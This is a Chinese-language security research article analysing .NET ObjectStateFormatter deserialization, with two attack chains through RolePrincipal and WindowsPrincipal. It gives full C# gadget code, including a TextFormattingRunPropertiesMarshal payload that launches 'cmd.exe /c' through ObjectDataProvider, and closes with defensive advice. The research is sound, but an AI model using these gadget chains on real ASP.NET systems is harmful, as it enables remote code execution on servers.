.net反序列化之ObjectStateFormatter
字数 1356 2025-08-05 08:17:36
.NET反序列化漏洞研究:ObjectStateFormatter攻击链分析
1. ObjectStateFormatter概述
ObjectStateFormatter是.NET框架中用于序列化和反序列化对象状态图的类,实现IFormatter和IStateFormatter接口。
主要用途:
- 被PageStatePersister类及其派生类用于序列化视图状态和控件状态
- 被LosFormatter类用于为ASP.NET基础结构的各个部分提供对象状态图格式
重要特性:ObjectStateFormatter实际上是LosFormatter的底层实现,在没有设置MAC/keys的情况下,两者功能几乎相同。
2. 序列化与反序列化机制
ObjectStateFormatter的构造方法只有一个无参构造,其反序列化方法支持直接反序列化字符串,与LosFormatter类似。
3. 攻击链分析
3.1 RolePrincipal攻击链
RolePrincipal类继承自ClaimsPrincipal,其反序列化漏洞利用链如下:
-
反序列化流程:
- RolePrincipal的反序列化构造方法调用父类(ClaimsPrincipal)的Identities字段
- 父类在反序列化时调用Deserialize()方法
- 如果存在键名为"System.Security.ClaimsPrincipal.Identities"的项,则调用DeserializeIdentities方法
- 将获取的base64值转换为byte数组后直接通过BinaryFormatter反序列化
-
Payload构造示例:
[Serializable]
public class RolePrincipalMarshal : ISerializable
{
public RolePrincipalMarshal(string b64payload)
{
B64Payload = b64payload;
}
private string B64Payload { get; }
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(System.Web.Security.RolePrincipal));
info.AddValue("System.Security.ClaimsPrincipal.Identities", B64Payload);
}
}
- 完整利用代码:
TextFormattingRunPropertiesMarshal calc = new TextFormattingRunPropertiesMarshal("calc");
string b64payload;
using (MemoryStream m = new MemoryStream())
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(m, calc);
b64payload = Convert.ToBase64String(m.ToArray());
}
RolePrincipalMarshal rolePrincipalMarshal = new RolePrincipalMarshal(b64payload);
ObjectStateFormatter objectStateFormatter = new ObjectStateFormatter();
string p = objectStateFormatter.Serialize(rolePrincipalMarshal);
objectStateFormatter.Deserialize(p);
3.2 WindowsPrincipal攻击链
WindowsPrincipal类通过WindowsIdentity的BootstrapContext字段实现攻击:
-
利用原理:
- WindowsPrincipal类包含WindowsIdentity类型的字段
- WindowsIdentity的BootstrapContext字段可被用于反序列化攻击
- 本质是通过ClaimsIdentity的利用链实现RCE
-
Payload构造示例:
[Serializable]
public class WindowsPrincipalMarshal : ISerializable
{
public WindowsPrincipalMarshal() { }
public WindowsIdentity wi { get; set; }
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(WindowsPrincipal));
info.AddValue("m_identity", wi);
}
}
- 简化版利用代码:
WindowsIdentity currentWI = WindowsIdentity.GetCurrent();
currentWI.BootstrapContext = new TextFormattingRunPropertiesMarshal("calc");
WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal();
obj.wi = currentWI;
string v = new ObjectStateFormatter().Serialize(obj);
new ObjectStateFormatter().Deserialize(v);
4. TextFormattingRunPropertiesMarshal Gadget
这两个攻击链都依赖TextFormattingRunPropertiesMarshal作为最终执行点:
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { }
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
// 构造ObjectDataProvider payload
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables",
BindingFlags.Instance | BindingFlags.NonPublic)
.SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
_xaml = XamlWriter.Save(odp);
}
}
5. 防御建议
- 避免反序列化不可信数据
- 使用安全的序列化替代方案,如JSON
- 实施严格的输入验证
- 使用TypeFiltering等安全机制限制反序列化类型
- 保持.NET框架和组件的最新安全更新
6. 总结
ObjectStateFormatter的反序列化漏洞主要通过两种主要攻击链实现:
- 通过RolePrincipal利用ClaimsPrincipal的反序列化机制
- 通过WindowsPrincipal利用WindowsIdentity的BootstrapContext字段
这两种方式最终都依赖TextFormattingRunPropertiesMarshal gadget实现命令执行,展示了.NET反序列化漏洞的复杂性和危险性。